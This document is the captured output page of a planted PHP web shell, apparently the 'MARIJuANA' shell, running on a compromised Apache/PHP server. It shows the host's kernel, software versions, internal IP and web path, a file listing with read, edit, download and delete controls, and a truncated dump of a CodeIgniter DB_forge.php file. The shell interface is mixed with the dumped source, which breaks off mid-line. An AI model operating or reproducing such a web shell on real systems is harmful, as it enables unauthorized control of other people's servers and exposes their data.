MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/pocoes/transparencia/system/database/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
drivers dir drwxrwxr-x 2023-02-16 09:40 R D
DB.php 6.587 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_active_rec.php 44.053 KB -rw-rw-r-- 2019-03-27 19:54 R E G D
DB_cache.php 5.83 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_driver.php 45.232 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_forge.php 23.651 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_query_builder.php 62.347 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_result.php 14.037 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
DB_utility.php 10.673 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
index.html 0.128 KB -rw-rw-r-- 2023-02-16 09:40 R E G D
REQUEST EXIT
db =& $db; log_message('info', 'Database Forge Class Initialized'); } // -------------------------------------------------------------------- /** * Create database * * @param string $db_name * @return bool */ public function create_database($db_name) { if ($this->_create_database === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } elseif ( ! $this->db->query(sprintf($this->_create_database, $this->db->escape_identifiers($db_name), $this->db->char_set, $this->db->dbcollat))) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } if ( ! empty($this->db->data_cache['db_names'])) { $this->db->data_cache['db_names'][] = $db_name; } return TRUE; } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name * @return bool */ public function drop_database($db_name) { if ($this->_drop_database === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } elseif ( ! $this->db->query(sprintf($this->_drop_database, $this->db->escape_identifiers($db_name)))) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } if ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($db_name), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } // -------------------------------------------------------------------- /** * Add Key * * @param string $key * @param bool $primary * @return CI_DB_forge */ public function add_key($key, $primary = FALSE) { // DO NOT change this! This condition is only applicable // for PRIMARY keys because you can only have one such, // and therefore all fields you add to it will be included // in the same, composite PRIMARY KEY. // // It's not the same for regular indexes. if ($primary === TRUE && is_array($key)) { foreach ($key as $one) { $this->add_key($one, $primary); } return $this; } if ($primary === TRUE) { $this->primary_keys[] = $key; } else { $this->keys[] = $key; } return $this; } // -------------------------------------------------------------------- /** * Add Field * * @param array $field * @return CI_DB_forge */ public function add_field($field) { if (is_string($field)) { if ($field === 'id') { $this->add_field(array( 'id' => array( 'type' => 'INT', 'constraint' => 9, 'auto_increment' => TRUE ) )); $this->add_key('id', TRUE); } else { if (strpos($field, ' ') === FALSE) { show_error('Field information is required for that operation.'); } $this->fields[] = $field; } } if (is_array($field)) { $this->fields = array_merge($this->fields, $field); } return $this; } // -------------------------------------------------------------------- /** * Create Table * * @param string $table Table name * @param bool $if_not_exists Whether to add IF NOT EXISTS condition * @param array $attributes Associative array of table attributes * @return bool */ public function create_table($table, $if_not_exists = FALSE, array $attributes = array()) { if ($table === '') { show_error('A table name is required for that operation.'); } else { $table = $this->db->dbprefix.$table; } if (count($this->fields) === 0) { show_error('Field information is required.'); } $sql = $this->_create_table($table, $if_not_exists, $attributes); if (is_bool($sql)) { $this->_reset(); if ($sql === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } } if (($result = $this->db->query($sql)) !== FALSE) { if (isset($this->db->data_cache['table_names'])) { $this->db->data_cache['table_names'][] = $table; } // Most databases don't support creating indexes from within the CREATE TABLE statement if ( ! empty($this->keys)) { for ($i = 0, $sqls = $this->_process_indexes($table), $c = count($sqls); $i < $c; $i++) { $this->db->query($sqls[$i]); } } } $this->_reset(); return $result; } // -------------------------------------------------------------------- /** * Create Table * * @param string $table Table name * @param bool $if_not_exists Whether to add 'IF NOT EXISTS' condition * @param array $attributes Associative array of table attributes * @return mixed */ protected function _create_table($table, $if_not_exists, $attributes) { if ($if_not_exists === TRUE && $this->_create_table_if === FALSE) { if ($this->db->table_exists($table)) { return TRUE; } $if_not_exists = FALSE; } $sql = ($if_not_exists) ? sprintf($this->_create_table_if, $this->db->escape_identifiers($table)) : 'CREATE TABLE'; $columns = $this->_process_fields(TRUE); for ($i = 0, $c = count($columns); $i < $c; $i++) { $columns[$i] = ($columns[$i]['_literal'] !== FALSE) ? "\n\t".$columns[$i]['_literal'] : "\n\t".$this->_process